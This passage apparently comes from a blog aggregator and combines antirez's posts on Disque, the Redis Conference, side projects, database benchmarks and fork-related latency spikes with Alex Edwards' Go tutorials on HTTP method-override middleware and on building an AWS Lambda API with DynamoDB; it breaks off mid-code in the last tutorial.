if desired, if the setup is likely to see a mass-reboot or alike. When the system is upgraded it is possible to write the AOF on disk just for the upgrade in order to don’t lose the state after a restart even if normally disk persistence is not used. Q: Is queueing partially/totally consistent across a group of servers or divided up for maximal throughput? Divided up for throughput, however message ordering is preserved in a best-effort way. Each message has an immutable “ctime” which is a wall-clock milliseconds timestamp plus an incremental ID for messages generated in the same millisecond. Nodes use this ctime in order to sort messages for delivery. Q: Can messages be dropped entirely under pressure? (aka best effort) No, however new messages may be refused if there is no space in memory. When 75% of memory is in use, nodes receiving messages try to externally replicate them, just to outer nodes, without taking a copy, but it many not work if also the other nodes are in an out of memory condition. Q: Can consumers and producers look into the queue, or is it totally opaque? There are commands to “PEEK” into queues. Q: Is queueing unordered, FIFO or prioritised? Best-effort FIFO-ish as explained. Q: Is there a broker or no broker? Broker as a set of masters. Clients can talk to whatever node they want. Q: Does the broker own independent, named queues (topics, routes etc) or do producers and consumers need to coordinate their connections? Named queues. Producers and consumers does not need to coordinate, since nodes use federation to discover routes inside the cluster and pass messages as they are needed by consumers. However the client is provided with hints in case it is willing to relocate where more consumers are. Q: Is message posting transactional? Yes, once the command to add a message returns, the system guarantees that there are the desired number of copies inside the cluster. Q: Is message receiving transactional? I guess not, since Disque will try to deliver the same message again if not acknowledged. Q: Do consumers block on receive or can they check for new messages? Both behaviors are supported, by default it blocks. Q: Do producers block on send or can they check for queue fullness? The producer may ask to get an error when adding a new message if the message length is already greater than a specified value in the local node it is pushing the message. Moreover the producer may ask to replicate the message asynchronously if it want to run away ASAP and let the cluster replicate the message in a best-effort way. There is no way to block the consumer if there are too many messages in the queue, and unblock it as soon as there are less messages. Q: Are delayed jobs supported? Yes, with second granularity, up to years. However they’ll use memory. Q: Can consumers and producers connect to different nodes? Yes. I hope with this post Disque is a bit less vaporware. Sure, without looking at the code it is hard to tell, but if your best feature is out you can already complain at least. How much of the above is already implemented and working well? Everything but AOF disk persistence, and a few minor things I want to refine in the API, so first release should not be too far, but working at it so rarely it is hard to get super fast. Comments

• Redis Conference 2015
  Mar 10, 2015

  I’m back home, after a non easy trip, since to travel from San Francisco to Sicily is kinda NP complete: there are no solutions involving less than three flights. However it was definitely worth it, because the Redis Conference 2015 was very good, SF was wonderful as usually and I was able to meet with many interesting people. Here I’ll limit myself to writing a short account of the conference, but the trip was also an incredible experience because I discovered old and new friends, that are not just smart programmers, but also people I could imagine being my friends here in Sicily. I never felt alone while I was 10k kilometers away from my home. The conference was organized by RackSpace in a magistral way, with RedisLabs, Heroku, and Hulu, sponsoring it as well. I can’t say thank you enough times to everybody. Many people traveled from different parts of US and outside US to SF just for a couple of days, the venue was incredibly cool, and everything organized in the finest details. There was even an incredible cake for the Redis 6th birthday :-) However the killer features of the conference were, the number and the quality of the attenders (mostly actual Redis users), around 250 people, and the quality of the talks. The conference was free, even if it did not looked like a free conference at all, at any level. An incredible stage where to talk, very high quality food, plenty of space. All this honestly helped to create a setup for interesting exchanges. Everybody was using Redis for something, to get actual things done, and a lot of people shared their experiences. Among the talks I found Hulu and Heroku ones extremely interesting, because they covered details about different use cases and operational challenges. I also happen to agree with Bill Andersen (from RackSpace) vision on benchmarking Redis in a use-case oriented fashion, even if I missed the initial part of his talk because I was being interviewed, but the cool thing is, there will be recordings of the talks, so it will be possible for everybody to watch them when available at the conf site, which is, http://redisconference.com I was approached by several VeryLargeCompanies recounting stories of how they are using or are going to use Redis to do VeryLargeUseCase. Basically at this point Redis is everywhere. Redis Conference was a big gift to the Redis community… and in some way it shows very well how much there is a Redis outside Redis, I mean, at this point it has a life outside the borders of the server and client libraries repositories. It is a technology with many users that exchange ideas and that work with it in different ways: internally to companies to provide it as a technology to cover a number of use cases, and also in the context of cloud providers, that are providing it as a service to other companies. One thing I did not liked was Matt Stancliff talk. He tried to uncover different problems in the Redis development process, and finally proposed the community to replace me as the project leader, with him. In my opinion what Matt actually managed to do was to cherry-pick from my IRC, Twitter and Github issues posts in a very unfair way, in order to provide a bad imagine of myself. I think this was a big mistake. Moreover he did the talk as the last talk, not providing a right to reply. Matt and I happen to be persons with very different visions in many ways, however Redis is a project I invested many years into, and I’m not going to change my vision, I’m actually afraid I merged some code under pressure that I now find non well written and designed. What prevents Redis for becoming a monoculture is its license, if the community at some point really believes it is possible to do much better, or simply to do things in a very different way, some forks will appear, and darwinian selection will work to make sure we have the best Redis possible. Technical leadership is a reward for the work you are capable to do, is not asked at conferences. Moreover technology is not just code, is also about human interactions, and life is too short to interact with people we don’t share the same fundamental values of what a good behavior is. Well, even if this left some bitter taste, overall the Redis Conference was a magical experience, and even Matt talk actually helped me to understand what to do in the future and what I want for this project. Thank you to who made it possible and to all the attenders, I hope to see you again next year. Comments

• Side projects
  Feb 26, 2015

  Today Redis is six years old. This is an incredible accomplishment for me, because in the past I switched to the next thing much faster. There are things that lasted six years in my past, but not like Redis, where after so much time, I still focus most of my everyday energies into. How did I stopped doing new things to focus into an unique effort, drastically monopolizing my professional life? It was a too big sacrifice to do, for an human being with a limited life span. Fortunately I simply never did this, I never stopped doing new things. If I look back at those 6 years, it was an endless stream of side projects, sometimes related to Redis, sometimes not. 1) Load81, children programming environment. 2) Dump1090, software defined radio ADS-B decoder. 3) A Javascript ray tracer. 4) lua-cmsgpack, C implementation of msgpack for Lua. 5) linenoise line editing library. Used in Redis, but well, was not our top priority. 6) lamernews, Redis-based HN clone. 7) Gitan, a small Git web interface. 8) shapeme, images evolver using simulated annealing. 9) Disque, a distributed queue (work in progress right now). And there are much more throw-away projects not listed here. The interesting thing is that many of the projects listed above are not random hacking efforts that had as an unique goal to make me happy. A few found their way into other people’s code. Because of the side projects, I was able to do different things when I was stressed and impoverished from doing again and again the same thing. I could later refocus on Redis, and find again the right motivations to have fun with it, because small projects are cool, but to work for years at a single project can provide more value for others in the long run. So currently I’m using something like 20% of my time to hack on Disque, a distributed message queue. So only 80% is left for Redis development, right? Wrong. The deal is between 80% of focus on Redis and 20% on something else, or 0% of focus on Redis in the long term, because in order to have a long term engagement, you need a long term alternative to explore new things. Side projects are the projects making your bigger projects possible. Moreover they are often the start of new interesting projects. Redis itself was a side project of LLOOGG. Sometimes you stop working at your main project because of side projects, but when this happens it is not because your side project captured your focus, it is because you managed to find a better use for your time, since the side project is more important, interesting, and compelling than the main project. Redis is six years old today, but is aging well: it continues to capture the attention of more developers, and it continues to improve in order to provide a bit more value to users every week. However for me, more users, more pull requests, and more pressure, does not mean to change my setup. What Redis is today is the sum of the work we put into it, and the endurance in the course of six years. To continue along the same path, I’ll make sure to have a few side projects for the next years. UPDATE: Damian Janowski provided an incredible present for the Redis community today, the renewed Redis.io web site is online now! http://redis.io. Thanks Damian! HN comments here: https://news.ycombinator.com/item?id=9112250 Comments

• Why we don’t have benchmarks comparing Redis with other DBs
  Jan 29, 2015

  Redis speed could be one selling point for new users, so following the trend of comparative “advertising” it should be logical to have a few comparisons at Redis.io. However there are two problems with this. One is of goals: I don’t want to convince developers to adopt Redis, we just do our best in order to provide a suitable product, and we are happy if people can get work done with it, that’s where my marketing wishes end. There is more: it is almost always impossible to compare different systems in a fair way. When you compare two databases, to get fair numbers, they need to share *a lot*: data model, exact durability guarantees, data replication safety, availability during partitions, and so forth: often a system will score in a lower way than another system since it sacrifices speed to provide less “hey look at me” qualities but that are very important nonetheless. Moreover the testing suite is a complex matter as well unless different database systems talk the same exact protocol: differences in the client library alone can contribute for large differences. However there are people that beg to differ, and believe comparing different database systems for speed is a good idea anyway. For example, yesterday a benchmark of Redis and AerospikeDB was published here: http://lynnlangit.com/2015/01/28/lessons-learned-benchmarking-nosql-on-the-aws-cloud-aerospikedb-and-redis/. I’ll use this benchmark to show my point about how benchmarks are misleading beasts. In the benchmark huge EC2 instances are used, for some strange reason, since the instances are equipped with 244 GB of RAM (!). Those are R3.8xlarge instances. For my tests I’ll use a more real world m3.medium instance. Using such a beast of an instance Redis scored, in the single node case, able to provide 128k ops per second. My EC2 instance is much more limited, testing from another EC2 instance with Redis benchmark, not using pipelining, and with the same 100 bytes data size, I get 32k ops/sec, so my instance is something like 4 times slower, in the single process case. Let’s see with Redis INFO command how the system is using the CPU during this benchmark: # CPU used_cpu_sys:181.78 used_cpu_user:205.05 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 127.0.0.1:6379> info cpu … after 10 seconds of test … # CPU used_cpu_sys:184.52 used_cpu_user:206.42 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 Redis spent ~ 3 seconds of system time, and only ~ 1.5 seconds in user space. What happens here is that for each request the biggest part of the work is to perform the read() and write() call. Also since it’s one-query one-reply workload for each client, we pay a full RTT for each request of each client. Now let’s check what happens if I use pipelining instead, a feature very known and much exploited by Redis users, since it’s the only way to maximize the server usage, and there are usually a number of places in the application where you can perform multiple operations at a given time. With a pipeline of 32 operations the numbers changed drastically. My tiny instance was able to deliver 250k ops/sec using a single core, which is 25% of the *top* result using 32 (each faster) cores in the mentioned benchmark. Let’s look at the CPU time: # CPU used_cpu_sys:189.16 used_cpu_user:216.46 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 127.0.0.1:6379> info cpu … after 10 seconds of test … # CPU used_cpu_sys:190.60 used_cpu_user:224.92 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 This time we are actually using the database engine to serve queries with our CPU, we are not just losing much of the time context switching. We used ~1.5 seconds of system time, and 8.46 seconds into the Redis process itself. Using lower numbers in the pipeline gets us results in the middle. Pipeline of 4 = 100k ops/sec (that should translate to ~ 400k ops/sec in the bigger instance used in the benchmark), pipeline 8 = 180k ops/sec, and so forth. So basically it is not a coincidence that benchmarking Redis and AerospikeDB in this way we get remarkably similar results. More or less you are not testing the databases, but the network stack and the kernel. If the DB can serve queries using a read and a write system call without any other huge waste, this is what we get, and here the time to serve the actual query is small since we are talking about data fitting into memory (just a note, 10M keys of 100k in Redis will use a fraction of the memory that was allocated in those instances). However there is more about that. What about the operations we can perform? To test Redis doing GET/SET is like to test a Ferrari checking how good it is at cleaning the mirror when it rains. A fundamental part of the Redis architecture is that largely different operations have similar costs, so what about our huge Facebook game posting scores of the finished games to create the leaderboard? The same single process can do 110k ops/sec when the query is: ZADD myscores . But let’s demand more, what about estimating the cardinality with the HyperLogLog, at the same time adding new elements and reading the current guess with two redis-benchmark processes? Set size is 10 millions again. So during this test I spawned a benchmark executing PFADD with random elements of the set, and another doing PFCOUNT at the same time in the same HyperLogLog. Both scored simultaneously at 250k ops/sec, for a total of half a million ops per second with a single Redis process. In Redis doing complex operations is similar to pipelining. You want to do *more* for each read/write, otherwise your performance is dominated by I/O. Ok, so a few useful remarks. 1) GET/SET Benchmarks are not a great way to compare different database systems. 2) A better performance comparison is by use case. You say, for a given specific use case, using different data model, schema, queries, strategies, how much instances I need to handle the same traffic for the same app with two different database systems? 3) Test with instance types most people are going to actually use, huge instance types can mask inefficiencies of certain database systems, and is anyway not what most people are going to use. We’ll continue to optimize Redis for speed, and will continue to avoid posting comparative benchmarks. [Thanks to Amazon AWS for providing me free access to EC2] Comments

• Redis latency spikes and the Linux kernel: a few more details
  Nov 03, 2014

  Today I was testing Redis latency using m3.medium EC2 instances. I was able to replicate the usual latency spikes during BGSAVE, when the process forks, and the child starts saving the dataset on disk. However something was not as expected. The spike did not happened because of disk I/O, nor during the fork() call itself. The test was performed with a 1GB of data in memory, with 150k writes per second originating from a different EC2 instance, targeting 5 million keys (evenly distributed). The pipeline was set to 4 commands. This translates to the following command line of redis-benchmark: ./redis-benchmark -P 4 -t set -r 5000000 -n 1000000000 Every time BGSAVE was triggered, I could see ~300 milliseconds latency spikes of unknown origin, since fork was taking 6 milliseconds. Fortunately Redis has a software watchdog feature, that is able to produce a stack trace of the process during a latency event. It’s quite a simple trick but works great: we setup a SIGALRM to be delivered by the kernel. Each time the serverCron() function is called, the scheduled signal is cleared, so actually Redis never receives it if the control returns fast enough to the Redis process. If instead there is a blocking condition, the signal is delivered by the kernel, and the signal handler prints the stack trace. Instead of getting stack traces with the fork call, the process was always blocked near MOV* operations happening in the context of the parent process just after the fork. I started to develop the theory that Linux was “lazy forking” in some way, and the actual heavy stuff was happening later when memory was accessed and pages had to be copy-on-write-ed. Next step was to read the fork() implementation of the Linux kernel. What the system call does is indeed to copy all the mapped regions (vm_area_struct structures). However a traditional implementation would also duplicate the PTEs at this point, and this was traditionally performed by copy_page_range(). However something changed… as an optimization years ago: now Linux does not just performs lazy page copying, as most modern kernels. The PTEs are also copied in a lazy way on faults. Here is the top comment of copy_range_range(): * Don't copy ptes where a page fault will fill them correctly. * Fork becomes much lighter when there are big shared or private * readonly mappings. The tradeoff is that copy_page_range is more * efficient than faulting. Basically as soon as the parent process performs an access in the shared regions with the child process, during the page fault Linux does the big amount of work skipped by fork, and this is why I could see always a MOV instruction in the stack trace. While this behavior is not good for Redis, since to copy all the PTEs in a single operation is more efficient, it is much better for the traditional use case of fork() on POSIX systems, which is, fork()+exec*() in order to spawn a new process. This issue is not EC2 specific, however virtualized instances are slower at copying PTEs, so the problem is less noticeable with physical servers. However this is definitely not the full story. While I was testing this stuff in my Linux box, I remembered that using the libc malloc, instead of jemalloc, in certain conditions I was able to measure less latency spikes in the past. So I tried to check if there was some relation with that. Indeed compiling with MALLOC=libc I was not able to measure any latency in the physical server, while with jemalloc I could observe the same behavior observed with the EC2 instance. To understand better the difference I setup a test with 15 million keys and a larger pipeline in order to stress more the system and make more likely that page faults of all the mmaped regions could happen in a very small interval of time. Then I repeated the same test with jemalloc and libc malloc: bare metal, 675k/sec writes to 15 million keys, jemalloc: max spike 339 milliseconds. bare metal, 675k/sec writes to 15 million keys, malloc: max spike 21 milliseconds. I quickly tried to replicate the same result with EC2, same stuff, the spike was a fraction with malloc. The next logical thing after this findings is to inspect what is the difference in the memory layout of a Redis system running with libc malloc VS one running with jemalloc. The Linux proc filesystem is handy to investigate the process internals (in this case I used /proc//smaps file). Jemalloc memory is allocated in this region: 7f8002c00000-7f8062400000 rw-p 00000000 00:00 0 Size: 1564672 kB Rss: 1564672 kB Pss: 1564672 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 1564672 kB Referenced: 1564672 kB Anonymous: 1564672 kB AnonHugePages: 1564672 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB VmFlags: rd wr mr mw me ac sd While libc big region looks like this: 0082f000-8141c000 rw-p 00000000 00:00 0 [heap] Size: 2109364 kB Rss: 2109276 kB Pss: 2109276 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 2109276 kB Referenced: 2109276 kB Anonymous: 2109276 kB AnonHugePages: 0 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB VmFlags: rd wr mr mw me ac sd Looks like here there are a couple different things. 1) There is [heap] in the first line only for libc malloc. 2) AnonHugePages field is zero for libc malloc but is set to the size of the region in the case of jemalloc. Basically, the difference in latency appears to be due to the fact that malloc is using transparent huge pages, a kernel feature that allows to transparently glue multiple normal 4k pages into a few huge pages, which are 2048k each. This in turn means that copying the PTEs for this regions is much faster. EDIT: Unfortunately I just spotted that I'm totally wrong, the huge pages apparently are only used by jemalloc: I just mis-read the outputs since this seemed so obvious. So on the contrary, it appears that the high latency is due to the huge pages thing for some unknown reason. So actually it is malloc that, while NOT using huge pages, is going much faster. I've no idea about what is happening here, so please disregard the above conclusions. Meanwhile for low latency applications you may want to build Redis with “make MALLOC=libc”, however make sure to use “make distclean” before, and be aware that depending on the work load, libc malloc suffers fragmentation more than jemalloc. More news soon… EDIT2: Oh wait... since the problem is huge pages, this is MUCH better, since we can disable it. And I just verified that it works: echo never > /sys/kernel/mm/transparent_hugepage/enabled This is the new Redis mantra apparently. UPDATE: While this seemed unrealistic to me, I experimentally verified that the huge pages memory spike is due to the fact that with 50 clients writing at the same time, with N queued requests each, the Redis process can touch in the space of *a single event loop iteration* all the process pages, so its copy-on-writing the entire process address space. This means that not only huge pages are horrible for latency, but that are also horrible for memory usage. Comments

• Redis latency spikes and the 99th percentile
  Oct 30, 2014

  One interesting thing about the Stripe blog post about Redis is that they included latency graphs obtained during their tests. In order to persist on disk Redis requires to call the fork() system call. Usually forking using physical servers, and most hypervisors, is fast even with big processes. However Xen is slow to fork, so with certain EC2 instance types (and other virtual servers providers as well), it is possible to have serious latency spikes every time the parent process forks in order to persist on disk. The Stripe graph is pretty clear in this regard. img://antirez.com/misc/stripe-latency.png As you can guess, if you perform a latency test during the fork, all the requests crossing the moment the parent process forks will be delayed up to one second (taking as example the graph above, not sure about what was the process size nor the EC2 instance). This will produce a number of samples with high latency, and will affect the 99th percentile result. To change instance type, configuration, setup, or whatever in order to improve this behavior is a good idea, and there are use cases where even a single request having a too high latency is unacceptable. However apparently it is not obvious how latency spikes of 1 second every 30 minutes (or more, if you use AOF with the right rewrite triggers) is very different from latency spikes which are evenly distributed in the set of requests. With evenly distributed spikes, if the generation of a page needs to perform a number of requests to a Redis server in order to create the output, it is very likely that a page view will incur in the latency penalty: this impacts the quality of service in a great way potentially, check this link: http://latencytipoftheday.blogspot.it/2014/06/latencytipoftheday-most-page-loads.html. However 1 second of latency every 30 minutes run is a completely different thing. For once, the percentile with good latency gets better *as the number of requests increase*, since the more the requests are, the more this second of latency will be unlikely to get over-represented in the samples (if you have just 1 request per minute, and one of those requests happen to hit the high latency, it will affect the 99.99th percentile much more than what happens with 100 requests per second). Second: most page views will be unaffected. The only users that will see the 1 second delay are the ones that make a request crossing the fork call. All the other requests will experience an extremely low probability of hitting a request that has a latency which is significantly worse than the average latency. Also note that a page view crossing the fork time, even when composed of 100 requests, can’t be delayed for more than a second, since the requests are completed as soon as the fork() call terminates. The bottom line here is that, if there are hard latency requirements for each single request, it is clear that a setup where a request can be delayed 1 second from time to time is a big problem. However when the goal is to provide a good quality of service, the distribution of the latency spikes have a huge effect on the outcome. Redis latency spikes due to fork on Xen are isolated points in the line of time, so they affect a percentage of page views, even when the page views are composed of a big number of Redis requests, which is proportional to the latency spike total time percentage, which is, 1 second every 1800 seconds in this case, so only the 0.05% of the page views will be affected. Latency characteristics are hard to capture with a single metric: the full percentile curve and the distribution of the spikes, can provide a better picture. In general good rule of thumbs are a good way to start a research, and in general it is true that the average latency is a poor metric. However to promote a rule of thumb into an absolute truth has also its disadvantages, since many complex things remain complex, and in need for close inspection, regardless of our willingness to over simplify them. At the same time, fork delays in EC2 instances are one of the worst experiences for Redis users in one of the most popular runtime environments today, so I’m starting to test Redis with EC2 regularly now: we’ll soon have EC2 specific optimization pages on the Redis official documentation, and a way to operate master-slaves replicas with persistence disabled in a safer way. If you need EC2 + Redis master with persistence disabled now, the simplest to deploy “quick fix” is to disable automatic restarts of Redis instances, and use Sentinel for failover, so that crashed masters will not automatically return available, and will be failed over by Sentinel. The system administrator can restart the master manually after checking that the failover was successful and there is a new active master. EDIT: Make sure to check the Hacker News thread that contains interesting information about EC2, Xen and fork time: https://news.ycombinator.com/item?id=8532851. Also not all the EC2 instances are the same, and certain types provide great fork time on pair with bare metal systems: https://redislabs.com/blog/testing-fork-time-on-awsxen-infrastructure#.VFJQ-JPF8yF Comments

Alex Edwards

• HTTP Method spoofing in Go
  May 10, 2018

  A.K.A. HTTP method overriding. As a web developer you probably already know that HTML forms only support the GET and POST HTTP methods. If you want to send a PUT, PATCH or DELETE request you need to resort to either sending a XMLHttpRequest from JavaScript (where they are supported by most major browsers) or implement a workaround in your server-side application code to support 'spoofed' HTTP methods. The de-facto workaround — which you might be familiar with if you've used frameworks like Ruby on Rails, Laravel or Express — is to include a hidden _method input in your form containing the spoofed HTTP method. A bit like this: Submit Another common workaround is to send a spoofed HTTP method in a X-HTTP-Method-Override header. So how can we support these things in a Go application? MethodOverride Middleware Intercepting and dealing with spoofed HTTP methods is the perfect task for some custom middleware. We want the middleware to: Intercept POST requests before they reach any application handlers. Check for a spoofed HTTP method, either in a _method parameter of the request body or a X-HTTP-Method-Override header. If a spoofed method exists — and is equal to "PUT", "PATCH" or "DELETE" — the current http.Request.Method value should be updated accordingly. It's pretty quick to implement: package main import ( "net/http" ) func MethodOverride(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Only act on POST requests. if r.Method == "POST" { // Look in the request body and headers for a spoofed method. // Prefer the value in the request body if they conflict. method := r.PostFormValue("_method") if method == "" { method = r.Header.Get("X-HTTP-Method-Override") } // Check that the spoofed method is a valid HTTP method and // update the request object accordingly. if method == "PUT" || method == "PATCH" || method == "DELETE" { r.Method = method } } // Call the next handler in the chain. next.ServeHTTP(w, r) }) } You can then use the middleware in your application like so: package main import ( "html/template" "io" "log" "net/http" ) const form = ` Example field Submit ` func main() { mux := http.NewServeMux() mux.HandleFunc("/", formHandler) // Wrap the servemux with the MethodOverride middleware. err := http.ListenAndServe(":4000", MethodOverride(mux)) log.Print(err) } func formHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { case "GET": t, err := template.New("form").Parse(form) if err != nil { http.Error(w, err.Error(), 500) } t.Execute(w, nil) case "PUT": io.WriteString(w, "This is a PUT request") default: http.Error(w, http.StatusText(405), 405) } }

• How to build a Serverless API with Go and AWS Lambda
  Apr 10, 2018

  Earlier this year AWS announced that their Lambda service would now be providing first-class support for the Go language, which is a great step forward for any gophers (like myself) who fancy experimenting with serverless technology. So in this post I'm going to talk through how to create a HTTPS API backed by AWS Lambda, building it up step-by-step. I found there to be quite a few gotchas in the process — especially if you're not familiar the AWS permissions system — and some rough edges in the way that Lamdba interfaces with the other AWS services. But once you get your head around these it works pretty well. There's a lot of content to cover in this tutorial, so I've broken it down into the following seven steps: Setting up the AWS CLI Creating and deploying an Lambda function Hooking it up to DynamoDB Setting up the HTTPS API Working with events Deploying the API Supporting multiple actions Throughout this post we'll work towards building an API with two actions: MethodPathAction GET/books?isbn=xxxDisplay information about a book with a specific ISBN POST/booksCreate a new book Where a book is a basic JSON record which looks like this: {"isbn":"978-1420931693","title":"The Republic","author":"Plato"} I'm keeping the API deliberately simple to avoid getting bogged-down in application-specific code, but once you've grasped the basics it's fairly clear how to extend the API to support additional routes and actions. Setting up the AWS CLI Throughout this tutorial we'll use the AWS CLI (command line interface) to configure our lambda functions and other AWS services. Installation and basic usage instructions can be found here, but if you’re using a Debian-based system like Ubuntu you can install the CLI with apt and run it using the aws command: $ sudo apt install awscli $ aws --version aws-cli/1.11.139 Python/3.6.3 Linux/4.13.0-37-generic botocore/1.6.6 Next we need to set up an AWS IAM user with programmatic access permission for the CLI to use. A guide on how to do this can be found here. For testing purposes you can attach the all-powerful AdministratorAccess managed policy to this user, but in practice I would recommend using a more restrictive policy. At the end of setting up the user you'll be given a access key ID and secret access key. Make a note of these — you’ll need them in the next step. Configure the CLI to use the credentials of the IAM user you've just created using the configure command. You’ll also need to specify the default region and output format you want the CLI to use. $ aws configure AWS Access Key ID [None]: access-key-ID AWS Secret Access Key [None]: secret-access-key Default region name [None]: us-east-1 Default output format [None]: json (Throughout this tutorial I'll assume you're using the us-east-1 region — you'll need to change the code snippets accordingly if you're using a different region.) Creating and deploying an Lambda function Now for the exciting part: making a lambda function. If you're following along, go to your $GOPATH/src folder and create a books repository containing a main.go file. $ cd ~/go/src $ mkdir books && cd books $ touch main.go Next you'll need to install the github.com/aws-lambda-go/lambda package. This provides the essential libraries and types we need for creating a lambda function in Go. $ go get github.com/aws/aws-lambda-go/lambda Then open up the main.go file and add the following code: File: books/main.gopackage main import ( "github.com/aws/aws-lambda-go/lambda" ) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func show() (*book, error) { bk := &book{ ISBN: "978-1420931693", Title: "The Republic", Author: "Plato", } return bk, nil } func main() { lambda.Start(show) } In the main() function we call lambda.Start() and pass in the show function as the lambda handler. In this case the handler simply initializes and returns a new book object. Lamdba handlers can take a variety of different signatures and reflection is used to determine exactly which signature you're using. The full list of supported forms is… func() func() error func(TIn) error func() (TOut, error) func(TIn) (TOut, error) func(context.Context) error func(context.Context, TIn) error func(context.Context) (TOut, error) func(context.Context, TIn) (TOut, error) … where the TIn and TOut parameters are objects that can be marshaled (and unmarshalled) by Go's encoding/json package. The next step is to build an executable from the books package using go build. In the code snippet below I'm using the -o flag to save the executable to /tmp/main but you can save it to any location (and name it whatever) you wish. $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books Important: as part of this command we're using env to temporarily set two environment variables for the duration for the command (GOOS=linux and GOARCH=amd64). These instruct the Go compiler to create an executable suitable for use with a linux OS and amd64 architecture — which is what it will be running on when we deploy it to AWS. AWS requires us to upload our lambda functions in a zip file, so let's make a main.zip zip file containing the executable we just made: $ zip -j /tmp/main.zip /tmp/main Note that the executable must be in the root of the zip file — not in a folder within the zip file. To ensure this I've used the -j flag in the snippet above to junk directory names. The next step is a bit awkward, but critical to getting our lambda function working properly. We need to set up an IAM role which defines the permission that our lambda function will have when it is running. For now let's set up a lambda-books-executor role and attach the AWSLambdaBasicExecutionRole managed policy to it. This will give our lambda function the basic permissions it need to run and log to the AWS cloudwatch service. First we have to create a trust policy JSON file. This will essentially instruct AWS to allow lambda services to assume the lambda-books-executor role: File: /tmp/trust-policy.json{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } Then use the aws iam create-role command to create the role with this trust policy: $ aws iam create-role --role-name lambda-books-executor \ --assume-role-policy-document file:///tmp/trust-policy.json { "Role": { "Path": "/", "RoleName": "lambda-books-executor", "RoleId": "AROAIWSQS2RVEWIMIHOR2", "Arn": "arn:aws:iam::account-id:role/lambda-books-executor", "CreateDate": "2018-04-05T10:22:32.567Z", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } } } Make a note of the returned ARN (Amazon Resource Name) — you'll need this in the next step. Now the lambda-books-executor role has been created we need to specify the permissions that the role has. The easiest way to do this it to use the aws iam attach-role-policy command, passing in the ARN of AWSLambdaBasicExecutionRole permission policy like so: $ aws iam attach-role-policy --role-name lambda-books-executor \ --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole Note: you can find a list of other permission policies that might be useful here. Now we're ready to actually deploy the lambda function to AWS, which we can do using the aws lambda create-function command. This takes the following flags and can take a minute or two to run. --function-name Thethat name your lambda function will be called within AWS --runtime The runtime environment for the lambda function (in our case "go1.x") --role The ARN of the role you want the lambda function to assume when it is running (from step 6 above) --handler The name of the executable in the root of the zip file --zip-file Path to the zip file Go ahead and try deploying it: $ aws lambda create-function --function-name books --runtime go1.x \ --role arn:aws:iam::account-id:role/lambda-books-executor \ --handler main --zip-file fileb:///tmp/main.zip { "FunctionName": "books", "FunctionArn": "arn:aws:lambda:us-east-1:account-id:function:books", "Runtime": "go1.x", "Role": "arn:aws:iam::account-id:role/lambda-books-executor", "Handler": "main", "CodeSize": 2791699, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2018-04-05T10:25:05.343+0000", "CodeSha256": "O20RZcdJTVcpEiJiEwGL2bX1PtJ/GcdkusIEyeO9l+8=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" } } So there it is. Our lambda function has been deployed and is now ready to use. You can try it out by using the aws lambda invoke command (which requires you to specify an output file for the response — I've used /tmp/output.json in the snippet below). $ aws lambda invoke --function-name books /tmp/output.json { "StatusCode": 200 } $ cat /tmp/output.json {"isbn":"978-1420931693","title":"The Republic","author":"Plato"} If you're following along hopefully you've got the same response. Notice how the book object we initialized in our Go code has been automatically marshaled to JSON? Hooking it up to DynamoDB In this section we're going to add a persistence layer for our data which can be accessed by our lambda function. For this I'll use Amazon DynamoDB (it integrates nicely with AWS lambda and has a generous free-usage tier). If you're not familiar with DynamoDB, there's a decent run down of the basics here. The first thing we need to do is create a Books table to hold the book records. DynanmoDB is schema-less, but we do need to define the partion key (a bit like a primary key) on the ISBN field. We can do this in one command like so: $ aws dynamodb create-table --table-name Books \ --attribute-definitions AttributeName=ISBN,AttributeType=S \ --key-schema AttributeName=ISBN,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 { "TableDescription": { "AttributeDefinitions": [ { "AttributeName": "ISBN", "AttributeType": "S" } ], "TableName": "Books", "KeySchema": [ { "AttributeName": "ISBN", "KeyType": "HASH" } ], "TableStatus": "CREATING", "CreationDateTime": 1522924177.507, "ProvisionedThroughput": { "NumberOfDecreasesToday": 0, "ReadCapacityUnits": 5, "WriteCapacityUnits": 5 }, "TableSizeBytes": 0, "ItemCount": 0, "TableArn": "arn:aws:dynamodb:us-east-1:account-id:table/Books" } } Then lets add a couple of items using the put-item command, which we'll use in the next steps. $ aws dynamodb put-item --table-name Books --item '{"ISBN": {"S": "978-1420931693"}, "Title": {"S": "The Republic"}, "Author": {"S": "Plato"}}' $ aws dynamodb put-item --table-name Books --item '{"ISBN": {"S": "978-0486298238"}, "Title": {"S": "Meditations"}, "Author": {"S": "Marcus Aurelius"}}' The next thing to do is update our Go code so that our lambda handler can connect to and use the DynamoDB layer. For this you'll need to install the github.com/aws/aws-sdk-go package which provides libraries for working with DynamoDB (and other AWS services). $ go get github.com/aws/aws-sdk-go Now for the code. To keep a bit of separation create a new db.go file in your books repository: $ touch ~/go/src/books/db.go And add the following code: File: books/db.gopackage main import ( "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/dynamodb" "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute" ) // Declare a new DynamoDB instance. Note that this is safe for concurrent // use. var db = dynamodb.New(session.New(), 